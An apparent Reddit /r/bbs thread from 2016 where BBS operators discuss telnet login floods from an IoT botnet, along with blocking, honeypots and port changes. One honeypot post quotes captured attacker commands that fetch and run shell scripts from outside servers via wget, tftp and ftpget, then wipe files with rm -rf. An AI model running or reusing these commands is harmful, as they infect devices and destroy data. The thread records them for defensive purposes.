Massive telnet DDoS? reddit / bbs ---------------------------------------------------------------------- cloverskull · 2016-10-22 01:22 Anyone else noticing a huge telnet DDoS attack? fail2ban isn't blocking IPs and it keeps locking up all my nodes :( ---------------------------------------------------------------------- banjaxe · 2016-10-22 03:19 If it's anything like/related to the massive DDoS earlier today, it's not blocking IPs because they're using millions and millions of IP addresses, rather than hammering with one long enough to get it dropped. Gotta love shitty IoT devices. ---------------------------------------------------------------------- recourse7 · 2016-10-22 13:42 Any details? I'm giddy at the idea someone is attacking a telnet enabled bbs. ---------------------------------------------------------------------- mro_1337 · 2016-10-22 14:40 everyone who runs a server on the internet gets attacks. nothing beats a watchful eye; ban those ipranges manually ---------------------------------------------------------------------- cloverskull · 2016-10-22 17:14 The huge DNS attacks were basically carried out by a botnet. The botnet was a federation of IOT (internet-of-things) devices with default root username/password combinations accessible by telnet (and not changeable sadly, the un/pw is baked into hardware). So there's a massive effort to enlist devices underway right now, sadly, which leads to dozens of telnet connections at a time testing default un/pw for these devies. It really just ends up DoSing my BBS :( ---------------------------------------------------------------------- recourse7 · 2016-10-22 17:35 I'm putting up a telnet honey pot box now to capture. Thanks for the idea. ---------------------------------------------------------------------- cloverskull · 2016-10-22 17:48 If you can come up with a list of bad IPs or bad IP blocks, I think it would be helpful to the community to publish them. I just blocked all of China, Russia, and a handful of other IP ranges, but I'm still essentially getting DoS'd. :( ---------------------------------------------------------------------- recourse7 · 2016-10-22 17:52 Hmm that's a good idea to. I can easily get that and publish it every 24 hours. Give me until Monday to Get it going and data. ---------------------------------------------------------------------- cloverskull · 2016-10-22 19:20 Cool. I wonder if there's a good space where we can log the bad IPs. I'll start a new page on /r/bbs I suppose :shrug: ---------------------------------------------------------------------- recourse7 · 2016-10-23 00:48 Honeypot is runing. It will log the user/passowrd combo and the source ip for telnet login attacks. I will update this thread or start a new one on monday with the first 24 hours if you want. ---------------------------------------------------------------------- recourse7 · 2016-10-23 03:54 Manual is so... not fun. automation is sexy. So far my honey put has only seen on attack. Coming from russia. Tries to login and download some further exploits from a owned server in Kansas city. Log - 2016-10-23 02:35:17 : 95.32.192.148 : sh : cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://208.67.1.253/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 208.67.1.253 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 208.67.1.253; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 208.67.1.253 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit 2016-10-23 03:17:07 : 191.81.177.154 : sh : cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://208.67.1.180/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 208.67.1.180 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 208.67.1.180; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 208.67.1.180 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf * the logging of the honey put coudl be tied into fail2ban easily. ---------------------------------------------------------------------- cloverskull · 2016-10-23 22:09 Thanks! This will be helpful. Maybe we should host the list on github or somewhere that we can collectively edit. ---------------------------------------------------------------------- mro_1337 · 2016-10-29 17:14 manually is easier. ---------------------------------------------------------------------- BryanLee35 · 2016-10-31 21:36 How about if we all just decide on switching to a new port other than 23 for our BBS community? I decided to move my BBS to port 2000 and publish the change to these services: http://bbs.guide & http://telnetbbsguide.com/ Now I'm not getting any traffic at all including legit callers haha! bbs.leemagazine.net:2000